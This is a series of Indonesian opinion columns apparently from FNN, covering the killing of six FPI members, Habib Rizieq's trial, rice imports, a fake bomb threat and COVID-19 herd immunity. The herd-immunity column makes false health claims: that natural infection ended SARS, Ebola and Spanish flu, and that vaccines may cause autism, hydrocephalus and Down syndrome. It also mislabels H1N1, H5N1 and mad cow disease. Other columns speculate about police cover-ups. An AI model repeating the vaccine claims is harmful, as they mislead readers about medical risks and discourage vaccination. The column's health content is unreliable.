by M Rizal Fadillah Bandung FNN - Satu dari tiga terlapor pelaku penembakan enam anggota laskar Front Pembela Islam (FPI) dikabarkan meninggal karena kecelakaan. Rakyat boleh bertanya dong, tersangka yang mana? Siapa namanya? Apa perannya dalam pembunuhan enam laskar FPI di kilometer 50 tol Jakarta-Cikampek (Japek) itu? Ini sih masih pertanyaan yang wajar-wajar saja. Sampai saat ini Badan Reserse Kriminal (Bareskrim) Polri belum mengumumkan, siapa nama ketiga terlapor calon tersangka tersebut. Bagaimana mungkin rakyat bisa mempercayai? Dugaan muncul bahwa ini menjadi bagian dari rekayasa untuk menghindari penetapan pelaku yang sebenarnya. Rakayasa yang terlalu fulgar dan telanjang untuk dipahami dan dipercara rakyat. Sejak penetapan keenam anggota laskar sebagai tersangka, rakyat juga mulai bingung. Bagaimana opini hendak dibalik dari korban menjadi pelaku? Sebaliknya pelaku kejahatan pembunuhan kemungkinan berubah menjadi pahlawan ? Namun akhirnya walaupun berat, rekomendasi Kimisi Nasional Hak Asasi Manusia (Komnas HAM) tak bisa diabaikan begitu saja. Suka atau tidak suka, tersangka harus ditetapkan dari anggota Polda Metro Jaya. Maka, munculah tiga nama terlapor calon tersangka, yang anehnya hingga kini masih dirahasiakan oleh pihak Kepolisian identitasnya. Sipa nama mereka? Masa sih ada tersangka pembunuhan, namaun tidak punya nama? Apa mungkin ada tersangka anggota polisi yang tidak nama? Mengejutkan tetapi lucu juga, sebab tiba-tiba saja Kepala Bareskrim Polri Komjen Polisi Agus Andrianto menyampaikan kepada publik, bahwa satu dari tiga terlapor tlah meninggal dunia karena kecelakaan. Pengumuman ini membuat fikiran publik melayang bebas kemana-mana. Tentu saja dengan seribu asumsi dan opini. Ada rekaysa apa lagi ini? Beberapa asumsi dan opini yang mungkin muncul. Pertama, yang meninggal kecelakaan bukanlah terlapor tetapi anggota Polisi lain. Mungkin saja yang tidak ada hubungan dengan kasus pembunuhan enam anggota laskar FPI. Klaim sebagai terlapor lumayan dapat mengurangi beban. Tinggal otak-atik dua terlapor tersangka lain. Teman sambil berseloroh mengatakan jangan-jangan kodok mati tertabrak juga disebut sebagai terlapor meninggal. Kedua, memang benar terlapor calon tersangka itu yang menjadi pelaku utama, akan tetapi kecelakaannya adalah sengaja dan bagian dari operasi. Untuk menghilangkan jejak dan jaringan. Karenanya perlu kejelasan dan penyelidikan serius soal "kecelakaan" ini. Siapa? Dimana? Kapan? Mengapa terjadi kecelakaan tersebut? Hingga kini kejadiannya masih kabur. Ketiga, seluruh terlapor hanya "bawahan" yang menjalankan perintah atasan. Perlu ada "cut off" agar semua terlokalisasi kepada jumlah orang yang sedikit. Dengan info meninggal satu, yang dua bisa saja nantinya satu kabur, satu lagi di covidkan. Jika benar terjadi kecelakaan, maka itu adalah suatu kelalaian fatal. Ketiga calon tersangka seharusnya ditahan. Mengapa mereka tidak ditahan. Padahal ini bukan kasus ecek-ecek seperti pencurian sendal jepit, melainkan kasus kejahatan kemanusiaan yang menjadi perhatian semua manusia yang menghormati dan menghargai kemanusiaan. Karena Allah Subhaanahi Wata’ala sangat memuliakan manusia. Membunuh satu menusia sama dengan membunuh semua manusia. Layaknya calon tersangka itu lebih dari tiga orang. Saat melaporkan enam anggota laskar FPI, tiga orang anggota Polri menjadi Pelapor dan Saksi, yaitu Briptu FR, Bripka AI dan Bripka F. Mereka mengetahui pembunuhan empat anggota laskar FPI. Sementara di mobil yang mengawal keempat anggota laskar adalah Briptu FR, Ipda EZ, dan Ipda YMO. Jadi disini sudah lima orang. Ketika Polisi menerapkan Pasal 351 ayat (3), maka diakui terjadi penganiayaan. Artinya, keempat anggota laskar dianiaya hingga mati? Tidak mungkin dianiaya didalam mobil. Diduga terjadi di suatu tempat. Kaitan kendaraan yang ada di km 50 terdapat fakta ada 4 unit mobil, yang personal keseluruhan di samping 5 orang di atas, ditambah dengan Aipda T, Bripka D, AKP WI, dan Petugas R. Sehingga total menjadi 9 orang. Apakah kesembilan orang ini yang terlibat dalam penganiayaan dan pembunuhan? Menurut Komnas HAM pengintaian dan pembuntutan dilakukan juga oleh instansi di luar Kepolisian. Rekomendasi Komnas HAM adalah perlunya penegakkan hukum kepada orang yang berada di mobil Avanza hitam B 1739 PWQ dan Avanza silver B 1278 KJD. Dengan demikian, maka calon tersangka dapat dipastikan melebihi jumlah 9 orang. Banyak personal yang terlibat di kilometer 50 tol Japek. Sehingga jika proses peradilan dapat berjalan transparan, maka bukan saja para petugas di tingkat bawah yang layak diproses, tetapi juga atasan mereka. Bukankah penguntitan dan pembuntutan itu didasarkan adanya surat perintah? Jangan hanya mengorbankan bawahan atas konspirasi sistematik yang berujung pada pelanggaran HAM. HAM berat. Mengorbankan bahwan itu bisa menambah pelanggaran hukum baru lagi. Pikir baik-baik. Dunia sudah semakin terbuka. Penulis adalah Pemerhati Politik dan Kebangsaan.

Call Centre Untuk Bantu Cerna Informasi Galau Pak Polisi

by Asyari Usman Medan, FNN - Tidak pernah disebut siapa inisialnya. Tidak diketahui apa pangkatnya. Tak diketahui pula di kesatuan mana dia berada. Tiba-tiba saja pada 25 Maret 2021 diumumkan bahwa dia meninggal dunia pada 4 Januari 2021 karena kecelakaan. Kecelakaan itu terjadi ketika dilakukan gelar perkara kasus pembunuhan 4 laskar FPI pengawal Habib Rizieq Syihab (HRS). Dia dibebaskan tugaskan pada 10 Maret 2021 bersama dua polisi lainnya yang juga terduga pembunuh 4 pengawal HRS itu. Siapakah dia? Dia adalah salah satu polisi yang diduga menyiksa dan menembak mati keempat pengawal HRS tsb. Mari kita buat ‘slow motion’ informasi tentang kegalauan Pak Polisi di atas. Ke-ce-la-ka-an: 4 Ja-nu-a-ri 20-21, te-was. Di-u-mum-kan te-was: 25 Ma-ret 20-21. Di-be-bas-tu-gas-kan: 10 Ma-ret 20-21. Sekarang kita kasih tanda panah blip-blip: Tewas: 4 Januari 2021. Dibebastugaskan: 10 Maret 2021. Diumumkan tewas: 26 Maret 2021. Mati lebih dulu, baru kemudian dibebastugaskan. Mirip dengan mati lebih dulu, baru dijadikan tersangka. Seperti yang dilakukan terhadap 6 mayat pengawal HRS. Mungkin ini inovasi baru dalam penanganan perkara di Polri. Kalau Anda kesulitan mencerna informasi galau di atas, silakan kontak ‘call centre’ berikut ini untuk konsultasi: 0000-0000-0000. Kalau tersambung, minta bicara dengan Unit Omong Kosong, di Divisi Otak Keong. Jika gagal tersambung, mohon bersabar menunggu antrian. Tolong jangan buat kerumunan. Aturan konsultasi sama dengan inovasi baru Pak Polisi. Yaitu, Anda buat kesimpulan lebih dulu, baru kemudian cari pembenaran. Mirip dengan tembak dulu, baru kemudian dilabel teroris. Atau, tangkap dulu baru kemudian berbaris minta maaf. Itu pun kalau korban salah tangkap kolonel AD.[] Penulis adalah Wartawan Senior FNN.co.id.

"Natural Herd Immunity" Bakal Kendalikan Virus Corona!

by Mochamad Toha Surabaya, FNN - Berdasarkan riset Bloomberg, Indonesia diperkirakan akan menghabiskan waktu 10 tahun, bahkan lebih, untuk mengatasi pandemi Covid-19. Perkiraan itu dikeluarkan Bloomberg Vaccine Tracker berdasarkan vaksinasi yang mampu dilakukan Indonesia per harinya. Berdasarkan data Bloomberg Vaccine Tracker yang dikutip Strait Times, Sabtu (6/2/2021), perkiraan kemampuan vaksinasi yang dapat dilakukan Indonesi per harinya, yakni 60.443 dosis. Hal itu dengan asumsi yang terinfeksi Covid-19 sebesar 1.134.854 orang, dan dengan angka kematian 31.202 orang. Dengan asumsi seperti tersebut, maka waktu vaksinasi yang dapat diselesaikan Indonesia adalah lebih dari 10 tahun. Sama dengan Indonesia, terdapat negara lain yang diasumsikan bisa menyelesaikan waktu vaksinasi dengan minimal waktu 10 tahun. Yakni, India dengan asumsi vaksinasi 299.082 dosis per hari dan Rusia dengan asumsi vaksinasi 40.000 dosis per hari. Negara lainnya yang diasumsikan dapat menyelesaikan pandemi Covid-19 dengan waktu vaksinasi yang jauh lebih cepat adalah Israel (2 bulan) dengan asumsi vaksinasi 135.778 dosis per hari; Uni Emirat Arab (2 bulan) dengan asumsi vaksinasi 140.103 dosis per hari, Inggris (6 bulan) 438.421 dosis per hari, dan Amerika Serikat (11 bulan) dengan asumsi vaksinasi 1.339.525 dosis per hari. Sementara negara lainnya, Perancis (3,8 tahun) dengan asumsi vaksinasi 68.066 dosis per hari, Brazil (3,9 tahun) dengan asumsi 218.694 dosis per hari, dan China dengan asumsi 1.025.000 dosis per hari. Sehingga secara global, dunia butuh 7 tahun untuk menyelesaikan pandemi Covid-19 dengan rata-rata vaksinasi 4.540.345 dosis per hari. Sejauh ini belum ada tanggapan dari pemerintah mengenai hasil riset Bloomberg itu. Presiden Joko Widodo dalam beberapa kali kesempatan menyampaikan target menyelesaikan vaksinasi dalam waktu 1 tahun. Target ini berdasarkan perhitungan yang telah dilakukannya. Menurutnya, Indonesia memiliki 30.000 vaksinator di 10.000 Puskesmas dan 3.000 Rumah Sskit. Paling tidak satu juta orang bisa divaksin dalam satu hari. “Ini kenapa, seperti yang sudah saya bilang, tidak sampai setahun vaksinasi ini sudah bisa kita selesaikan. Karena angka-angkanya saya hitung, kita bisa,” kata Jokowi, secara virtual, Kamis (21/1/2021). Selain, Presiden Jokowi pun sedang mempertimbangkan adanya vaksinasi Covid-19 secara mandiri. Alasannya, “Karena kita perlu mempercepat, perlu sebanyak-banyaknya. Apalagi biayanya ditanggung oleh perusahaan sendiri. Kenapa tidak.” Sementara Menteri Kesehatan Budi Gunadi Sadikin memperkirakan vaksinasi Covid-19 akan selesai dalam jangka waktu 15 bulan. Ini pun tergantung pada pasokan vaksin yang dipesan pemerintah. Saat ini pemerintah telah memiliki kontrak pembelian sekitar 270 juta dari kebutuhan sebesar 426 juta dosis vaksin Covid-19. Jika kontrak dengan Pfizer-BioNtech bisa difinalisasi, maka akan terdapat tambahan sekitar 329 juta dosis. Pemerintah juga sedang mengupayakan vaksin gratis dari Covax/Gavi, suatu wadah kerja sama multilateral untuk mengembangkan vaksin Covid-19. Jika tidak dapat gratis, Indonesia akan membeli vaksin Covax/Gavi sebanyak 54 juta, dan terdapat opsi 108 juta dosis vaksin. “Sehingga total yang kontrak dan juga opsi adalah 666 juta,” kata Budi Gunadi. Dr. Tifauzia Tyassuma, MSc, Medical Scientist, Pakar dan Praktisi Nutrisi, mengatakan, “Bloomberg salah! Pandemi Coronavirus Indonesia akan selesai dalam 3 tahun. Bukan 10 tahun!” Begini menghitungnya. Natural Herd Immunity, sebut saja NHI, adalah HI yang disebabkan oleh terinfeksinya manusia oleh virus secara alamiah. Akan menghasilkan Antibodi yang lahir secara alamiah ditambah dengan bonus terbentuknya Memory cell. Artificial Herd Immunity (AHI), adalah HI yang dibentuk karena terinfeksinya manusia oleh virus melalui jarum suntik Vaksinasi. Akan menghasilkan Antibodi yang lahir secara buatan, ditambah dengan bonus risiko KIPVI (Kejadian Ikutan Pasca Vaksinasi). Pada tahun 2021 di Indonesia sudah terbentuk NHI sebesar 15% (berdasarkan perhitungan modelling prediction atas jumlah kasus dengan cakupan Testing 4%, artinya sebenarnya di beberapa daerah seperti DKI Jakarta, Jabar, Jateng, DI Jogjakarta, Kalbar, dan Sulsel, NHI antara 15-30%, sementara data ini abaikan dulu. Pegang 15%). Maka sampai dengan pada akhir tahun 2021, NHI akan menyumbang 15% lagi sehingga total 30% NHI. Itu artinya akan ada 81.000.000 juta penduduk yang sudah kebal, sudah memiliki antibodi, dan tidak perlu divaksin lagi. Pada akhir tahun 2022, akan ada NHI lagi sekitar 15% lagi, maka total akan ada 121.500.000 penduduk yang sudah kebal, sudah memiliki antibodi, dan tidak perlu divaksin lagi. Nah. Selama Januari 2021 hingga akhir Desember 2022, dengan kecepatan rata-rata faktual, kemampuan Kemenkes RI memberikan Vaksinasi sebesar 64,187 dosis per hari, maka akan ada 46.856.500 penduduk yang berhasil divaksinasi. Sehingga, total pada akhir Desember 2022, akan ada NHI 121.500.000 + AHI 46.856.500 = 168.356.500. Artinya akan ada 63% Herd Immunity. Masuk range jumlah HI yang diperlukan untuk mengendalikan Virus sebesar 40-70%. Jadi, “Bloomberg yang memprediksi Indonesia akan terjadi HI selama 10 tahun itu salah!” ujar Dokter Tifauzia. Bloomberg tidak memperhitungkan NHI, Natural Herd Immunity. Padahal NHI itulah sumber kekuatan yang terbukti selama 200 tahun, sejak manusia mulai mengenal Vaksinasi, yang mampu mengendalikan, bahkan mengeradikasi Virus dan kuman Patogen, sehingga takluk dan relatively lenyap. Contoh sebenarnya sudah di depan mata. SARS pada 2002-2004 siapa yang mengendalikan? NHI. Flu Burung H1N1 pada 2004-2007 siapa yang mengendalikan? NHI. MERS pada 2011-2013 siapa yang mengendalikan? NHI. Flu Spanyol pada 1918-1921 siapa yang mengendalikan? NHI. Zika pada 2014 siapa yang mengendalikan? NHI. Ebola pada 2016-2017 siapa yang mengendalikan? NHI. Virus Sapi Gila alias Mad cow siapa? NHI. Virus Swine Flu alias Flu Babi H5N1 siapa? NHI. Sehingga, total pada akhir Desember 2022, akan ada NHI 121.500.000 + AHI 46.856.500 = 168.356.500. Artinya akan ada 63% Herd Immunity. Masuk range jumlah HI yang diperlukan untuk mengendalikan Virus sebesar 40-70%. Jika menyimak uraian dari Dokter Tifauzia di atas, antara NHI dengan AHI, angkanya hingga Desember 2022 lebih banyak NHI (121.500.000) daripada AHI (46.856.500). Bahan Vaksin Sejak awal dan sampai sekarang ini, di kalangan ahli virus atau bakteri ada yang berpendapat, di bahan vaksin itu, ada satu bahan yang berfungsi sebagai katalisator/stabilizer. Katalisator atau stabilizernya itu bisa: mengandung bakteri X atau enzim/protein dari bakteri X itu. Keduanya, mampu merusak sistem membran semipermeabilitas sel atau membran selektif permeabel sel. Sementara bahan-bahan vaksin itu terdiri dari virus/bakteri/antigen, pengawet (thimerosal?), bahan adjuvant, dan sebagainya. Setelah sistem membran permeabilitas atau membran selektif permeabel sel itu dirusak oleh protein stabilizer ini, maka kandungan zat-zat adjuvant maupun pengawet itu bisa tersebar ke mana-mana, ke seluruh darah, bahkan ke seluruh sel. Sehingga akan terbentuk kelainan-kelainan ikutannya. Dari sudut pandang ini bisa dipahami pula, kalau vaksin itu diduga berpotensi bisa menyebabkan KIPI dengan berbagai bentuknya, antara lain: autis, hedrocefalus, down syndrome, hiperaktif, crohns disease, dan sebagainya. Sayangnya, kasus-kasus kematian dokter dan nakes lainnya yang terjadi di Indonesia paska vaksinasi Covid-19, selalu dijawab dengan dalih “bukan KIPI”. Penulis adalah Wartawan Senior FNN.co.id

Inilah Alasan Kita Tak Perlu Impor Beras

SEMALAM Presiden Jokowi lewat siaran youtube memastikan bahwa sampai Juni 2021 tidak akan ada impor beras. Pernyataan ini sedikit menyejukkan petani yang memang sedang menikmati masa panen raya mulai Maret-April. Presiden juga memastikan bahwa Bulog akan menyerap beras hasil panen petani. Bahkan Presiden sudah memerintahkan Menteri Keuangan Sri Mulyani Indrawati menyiapkan anggarannya. Namun pernyataan Jokowi bahwa Pemerintah sudah melakukan Nota Kesepahaman (memorandum of Understanding--MoU) soal rencana impor beras dari Thailand dan Vietnam menjadi absurd. Walaupun presiden mengatakan hal itu demi berjaga-jaga mengingat tingginya ketidakpastian dimasa pandemi Covid-19. Namun pernyataan terakhir Presiden ini menjadi aneh, oleh karena beberapa syarat terjadinya impor beras tidak sedang terjadi. Apa saja syarat impor beras yang tidak terjadi itu? Pertama, karena harga beras sejauh ini masih dinilai stabil. Indikasi bahwa kita perlu impor beras sebenarnya tidak terpenuhi. Selama ini beras impor dilakukan jika harga di tingkat konsumen naik. Sementara dari banyak data selama hampir 4 bulan terakhir ternyata tidak ada gejolak harga yang berarti. Kedua, dari sisi produksi beras selama Januari-April 2021 justru naik. Badan Pusat Statistik (BPS) mencatat potensi produksi padi pada subround Januari-April 2021 diperkirakan sebesar 25,37 juta ton gabah kering giling (GKG), naik 5,37 juta ton atau 26,88% dibandingkan subround yang sama pada 2020. Konon hasil panen raya 2021 ini menyebabkan kita surplus beras 12 juta ton. Ketiga, tidak ada laporan petani di lapangan soal serangan hama atau bencana banji dan kekeringan yang signifikan mengganggu produksi beras. Keempat, alasan impor karena cadangan beras Bulog yang dinilai tidak memadai bukan alasan yang kuat untuk dilakukan impor beras, mengingat sejak dua atau tiga minggu yang lalu sudah mulai panen. Jika alasannya di gudang Bulog tak ada cadangan yang cukup, tinggal dilakukan penyerapan oleh Bulog atas hasil panen di dalam negeri. Kecuai jika misalnya di dalam negeri sedang paceklik, keputusan impor beras masih bisa kita terima, dengan alasan-alasan penjelasan yang kuat. Tapi nyatanya kita sedang panen, jadi aneh, harusnya justru mengandalkan produksi dalam negeri apalagi ada prediksi produksi beras naik. Melihat kegaduhan yang terjadi terkait rencana impor beras, seperti ada kejanggalan di dalam internal pemerintahan sendiri. Sebab, Kementerian Koordinator Perekonomian dan Kementerian Perdagangan (Kemendag) ngotot ingin impor beras. Sementara Kementerian Pertanian (Kementan) dan Perum Bulog tidak ingin impor beras. Ini artinya ada polemik di dalam internal pemerintahan sendiri terkait impor beras ini. Adapun kegaduhan di luar pemerintah lebih karena side effect resonansi kegaduhan di dalam kabinet. Jika demikian terang benderang kita tak perlu impor beras. Batalkan saja MoU impor beras dengan Thailand dan Vietnam.

Teror Bom Palsu, Premanisme Demokrasi

Dr Ahmad Yani, ketua Komite Eksekutif Koalisi Aksi Menyelamatkan Indonesia (KAMI), sangat tepat mengatakan bahwa dia tidak gentar menghadapi teror bom palsu yang diletakkan di depan rumahnya di Cipinang, Jakarta Timur. Yani menegaskan, pesan intimidasi semacam itu salah alamat. Bom paslu itu ditemukan Jumat pagi, 26/3/2021. Melihat bentuknya, bom palsu ini sangat mungkin dirakit oleh orang-orang yang biasa dengan bentuk bahan peledak rakitan. Teror seperti ini adalah pertanda orang-orang yang menjadi “master mind”-nya memiliki mental pengecut. Mereka juga menunjukkan perilaku biadab. Jika mereka ini adalah bagian dari kelompok yang tidak suka denga kehadiran KAMI, maka mereka sekaligus memperlihatkan kualitas premanisme dalam berdemokrasi. Kelompok seperti ini tidak layak hidup di Indonesia. Mereka adalah orang-orang yang ingin memperkuat cengkeraman kekuasaan otoriter. Sekaligus, mereka adalah kaki tangan jahat oligrkhi taipan yang ingin menguasai Indonesia dengan cara-cara brutal. Untuk merealisasikan cara brutal itu, mereka dahului dengan tindakan-tindakan teror. Seperti dituntut Yani, pihak yang berwenang harus mengusut tuntas teror bom palsu ini. Polisi, dengan resimen anti-terornya, tidak akan kesulitan untuk penelusuran. Kepada pihak yang menjadi dalangnya, kita sampaikan imbauan agar berhentilah menggunakan cara-cara kerdil seperti itu. KAMI dibentuk dan berkiprah untuk menyelamatkan Indonesia. KAMI bukan kelompok yang akan melakukan makar. Kalau kalian terus saja melakukan upaya pembunuhan demokrasi, ingatlah bahwa kematian demokrasi di negeri ini tidak hanya merugikan KAMI melainkan akan merugikan seluruh rakyat. Akan merugikan anak-cucu kalian juga. Terkakhir, jangan ada yang berpikir bahwa teror yang dilancarkan akan mematikan KAMI. It’s not going to happen. Insya-Allah itu tidak akan terjadi. KAMI tidak akan membalas teror apa pun dan dari siapa pun. Tetapi, KAMI akan melancarkan aksi intelektualitas. Aksi ini akan mebuat akal jahat kelompok preman demokrasi merasa terteror. Pada waktunya, semua penjahat demokrasi akan tersingkir dari Republik Akal Sehat ini. Rakyat akan bangkit melawan siapa saja yang memiliki agenda jahat.[]

Sidang Habib Rizieq Ujian Apakah Hukum Masih Tegak

MAJELIS Hakim Pengadilan Negeri (PN) Jakarta Timur akhirnya menghadirkan Habib Rizieq Shihab (HRS), di persidangan secara langsung (offline). Keputusan Majelis Hakim diambil setelah melalui perdebatan sengit dan berlarut. Diwarnai pemaksaan ke ruang sidang terhadap HRS. Serta aksi walk out oleh pengacara dan HRS. Alotnya mejelis hakim mengambil keputusan. Ngototnya Jaksa Penuntut Umum (JPU), agar persidangan dilaksanakan secara daring (online), sangat mengherankan. Argumen hakim dan jaksa, hal itu sesuai dengan Peraturan Mahkamah Agung (Perma) dan menegakkan protokol Covid-19, sejak awal dengan mudah dipatahkan. Kehadiran terdakwa sebagai orang bebas, tanpa tekanan di pengadilan, diatur dalam UU No 8 Tahun 1981 tentang Kitab Undang-Undang Hukum Acara Pidana (KUHAP). Posisi UU jelas lebih tinggi dibandingkan Perma. Tidak bisa sebuah UU dikesampingkan begitu saja oleh Perma. Apalagi Perma tidak masuk dalam hirarki hukum. Hanya berlaku secara intenal. Mengesampingkan UU atas nama penegakan Perma, adalah perbuatan sesat dan menyesatkan. Dalam Perma pun diatur, sidang secara daring bisa dilaksanakan bila mendapat persetujuan terdakwa. HRS sejak awal menolak. Dia menginginkan persidangan secara offline. Sebagai terdakwa yang sangat dirugikan, HRS ingin hadir di persidangan. Mempertahankan haknya. Berhadapan langsung dengan para jaksa, para saksi. Beradu argumen secara terbuka, tanpa dibatasi kendala teknis. Mulai dari jaringan internet yang tidak stabil, suara dan gambar terputus-putus, serta hal-hal teknis yang tidak berkaitan dengan hukum. Keputusan berhadapan, berkonfrontasi langsung dengan para jaksa dan saksi ini tampaknya dipandang sangat perlu oleh HRS. Dasar hukum sampai dia dibawa ke pengadilan ini sangat aneh. Penuh kejanggalan dan rekayasa. HRS diajukan ke persidangan karena melanggar protokol kesehatan (prokes). Kerumunan massa di Petamburan, dan Mega Mendung. Dia juga didakwa menyembunyikan hasil swab di RS UMI, Bogor. Karena ketiga kasus itu, dia harus menghadapi tiga persidangan sekaligus. Sejak awal keputusan polisi menyidik kasus ini, dan kemudian menahan HRS sangat mengejutkan. Pelanggaran prokes konskuensinya adalah pembayaran denda. Kalau toh ada pelanggaran pidana, hal itu sifatnya pidana ringan. Tak perlu sampai ada penahanan. Untuk kasus di Petamburan, dia sudah membayar denda Rp 50 juta ke Pemprof DKI. Sejauh ini, denda itu adalah yang tertinggi. Kasus ini bahkan berubah menjadi tragedi. Pelanggaran HAM. 6 orang pengawal HRS tewas ditembak polisi yang melakukan penguntitan. Publik sesungguhnya bisa melihat dengan mata telanjang. HRS menjadi target. Diperlakukan secara dzolim. Pengadilannya sesat. Kasus pelanggaran prokes banyak dilakukan oleh orang lain. Sejumlah selebritas, tokoh, pejabat publik, politisi, bahkan sampai Presiden, juga melakukan pelanggaran. Soal ini dipersoalkan HRS dalam pembacaan nota keberatan (eksepsi) yang dibacakan Jumat (26/3). Dia menyoroti pelanggaran prokes yang dilakukan oleh Rafi Ahmad dan Komut PT Pertamina Ahok. Mereka berdua hadir dalam pesta tanpa prokes. Kasus Rafi sangat ironis. Dia diangkat sebagai duta vaksin. Pelanggaran dilakukan setelah pada pagi harinya divaksin bersama Presiden Jokowi di istana. Tidak ada tindakan apapun yang dikenakan kepada mereka. Boro-boro diseret ke depan hakim. Denda seperak pun tidak. Presiden Jokowi juga melakukan pelanggaran. Membuat kerumunan. Bahkan berinteraksi dengan warga di Maumere, NTT. Kasus terbaru terjadi di Sumenep, Madura. Kasusnya persis sama dengan kerumunan warga di Petamburan. Ketua Banggar DPR RI dari F-PDIP Said Abdullah menggelar pesta pernikahan putranya. Dia menyebar 20 ribu undangan. Diperkirakan tamu yang hadir, 30 ribu orang. Jalan-jalan di seputar rumah Said Abdullah sampai harus ditutup. Tidak ada tindakan apapun terhadap para warga negara istimewa ini. Mereka adalah orang-orang yang kebal dan tak tersentuh hukum. Untouchable. Mereka semua adalah pendukung pemerintah. Soal menyembunyikan hasil swab, sejumlah menteri di kabinet Jokowi juga melakukan. Media meyebutkan, setidaknya ada 8 orang positif Covid. Sejauh ini hanya Empat orang yang mengakui secara terbuka, atau setidaknya ada keterangan dari stafnya. Mereka adalah Menteri Perhubungan Budi Karya Sumadi, mantan mantan Menteri Kelautan dan Perikanan Edi Prabowo, Menteri Agama Fachrul Razi, serta Menaker Ida Fauziah. Siapa empat orang lainnya? Tak ada yang mengaku. Belakangan terungkap, salah satunya adalah Menko Perekonomian Airlangga Hartarto. Terungkapnya Airlangga, juga secara tidak sengaja dan terkesan sangat konyol. Nama Airlangga muncul dalam daftar peserta donor plasma convalesen. Namanya muncul karena disebut oleh Menko PMK Muhajir Effendi. Dengan menjadi donor plasma convalesen dapat dipastikan Airlangga pernah terjangkit Covid. Tapi dia tidak pernah mengakui, apalagi mengumumkan ke publik. Airlangga adalah Ketua Komite Penanganan Covid. Dia harus menjadi contoh. Panutan. Mengapa empat orang menteri itu, khususnya Airlangga tak dikenakan hukuman? Tidak diseret ke meja hijau, seperti nasib yang dialami oleh HRS. Dengan fakta-fakta tersebut, sudah seharusnya HRS dibebaskan. Kasusnya batal demi hukum. Sidang harusnya tidak perlu dilanjutkan. Bila hakim masih meneruskan proses pengadilan, apalagi kemudian menjatuhkan hukuman kepada HRS, maka sangat jelas hakim sudah berlaku tidak adil. Dihukum ringan pun HRS tidak pantas. Apalagi dihukum berat. Bila itu yang terjadi, hukum digunakan hanya untuk menghukum kelompok/orang yang berseberangan dengan pemerintah. Sementara kepada para pendukung pemerintah, mulut jaksa kelu. Palu hakim kaku. Melalui forum ini kita kembali mengingatkan, hukum yang disalahgunakan. Hanya tajam kepada oposisi. Tumpul kepada pendukung pemerintah. Akan menimbulkan ketidakpuasan publik. Mereka merasa diperlakukan tidak adil. Percieved in justice. Ini sangat berbahaya. Mengutip ceramah yang pernah disampaikan oleh Menko Polhukam Mahfud MD di Surabaya, hukum adalah sendi negara. Bila hukum tidak ditegakkan, maka negara itu akan runtuh.**

Pertunjukan Slaughter House?

by M. Rizal Fadillah Bandung FNN – Ketua Tim Pengacara Habib Rizieq Shihab (HRS), Munarman mempertanyakan keganjilan dakwaan dari Jaksa Penutut Umum (JPU) yang meminta penghapusan atau pencabutan hak politik atas diri HRS. Meski belum sampai pada tahap penuntutan. akan tetapi dakwaan ini berlebihan. Dakwan yang penuh kebencian kepada terdakwa. Dakwaan bukan untuk mau menegakkan keadilan. Jaksa memerkan dan mempetontonkan keangkuhan pada peradilan sesat. Peradilan suka-suka, bahkan peradilan yang penuh dengan dagelan menjadi pantas disematkan untuk proses pengadilan HRS di PN Jakarta Timur. Soal persidangan "online" dan "offline" saja telah membuat gaduh dunia peradilan Indonesia.. Kasus kerumunan walimahan pernikahan, pengajian dan test Swab yang didakwakan sebenarnya pidana samar dan tergolong sederhana. Akan tetapi diolah menjadi pidana yang terkesan raksasa dan sangat menggemparkan. Maklum saja, karena ini kasus politik. JPU sebagai perpanjangan tangan pemerintah di bidang penuntutan telah menggap kalau HRS sebagai orang yang sangat berbahaya. Diposisikan sebagai musuh negara. Kalau bisa tank, pesawat tempur, bahkan kapal induk dikerahkan untuk menyerang sorban seorang ulama. Semua kekuatan negara hraus dikerahkan untuk melumpuhkan HRS. Suara dakwah kebenaran, keadilan dan melawan kezoliman terdengar bising di telinga pendosa. Bagai dengung nyamuk, lalat, atau lebah yang membuat panik, marah, jengkel, dan takut. Sambil berlari menepis dengan satu pilihan "pites, libas" atau matikan. Hal ini menjadi wujud dari radikalisme negara dan intoleransi terhadap keragaman dan sikap keagamaan. Nampaknya benar pandangan bahwa ini bukan ruang pengadilan. Bukan juga keadilan yang ingin digapai dari sebuah proses persidangan. Tetapi hanya persidangan untuk bisa mendapatkan pembenaran hukum untuk penghukum anak bangsa yang bernama HRS. Berusaha untuk menggorok dengan pisau hukum dan kekuasaan negara atas pesakitan yang selama ini menjadi lawan politik. Pengadilan yang berubah menjadi slaughter house (rumah jagal). Ada target atau harapan yang ingin dicapai bahwa HRS bukan saja dihukum pidana penjara. Tetapi juga hukuman tambahan berupa pencabutan hak-hak politik. Targetnya, HRS jangan melakukan kegiatan politik apapun, karena terlalu berbahaya untuk keselamatan dan kenyamanan penguasa. Pencabutan hak politik, baik hak untuk dipilih atau hak untuk menjadi pejabat publik sebagai hukuman tambahan jauh lebih layak bagi para koruptor penggarong uang rakyat di tengah bencana pandemi covid-19. Sebab mereka adalah para penghianat negara yang menjual kedaulatan negara. Bukan untuk mereka yang mengadakan acara walimahan, pengajian, atau sekedar test Swab. Pembantaian pendahuluan telah dilakukan terhadap enam anggota laskar Front Pembela Islam (FPI) pengawal keluarga HRS di kilometer 50 tol Jakarta-Cikampek (Japek) sebagai "road map to the slaughter house". Sebelumnya adalah penurunan baliho HRS oleh pasukan TNI. Setelah itu, "penyerangan" oleh gabungan pasukan khusus dari AL, AU, dan AD (Koopssus) ke markas FPI di Petamburan. Paska pembunuhan terhadap enam anggota Laskar FPI, dilanjutkan dengan pembubaran dan pelarangan FPI serta pemblokiran 92 rekening, termasuk rekening keluarga HRS yang kemudian dinilai "unlawful". Setelah dipersoalkan oleh anggota Komisi II DPR, Asrul Sani dan Habuburrahman, sekarang saling lempar tanggung jawa terjadi antara Pusat Pelaporan Analisa dan Transksi Keuangan (PPATK) dengan Polisi. Kini proses hukum di "slaughter house" sedang berlangsung dengan sangat rapih. Sayangnya, upaya buruk terhadap warga negara ini, mudah untuk dibaca oleh masyarakat sipil (civil society). Perlawanan keras dari HRS mampu mengubah sidang "online" menjadi "offline". Mampukah HRS dengan para pengacaranya lolos dari upaya "slaughtering" ketukan palu di meja hijau atau akhirnya semua berjalan sesuai skenario? Rakyat sedang menonton dengan serius pertunjukan panggung lelucon yang tidak lucu. Panggung arogansi melawan ketidak adilan dan kezoliman. Penulis adalah Pemerhati Politik dan Kebangsaan.

Anies, Idola Baru Bagi Kaum Milenial

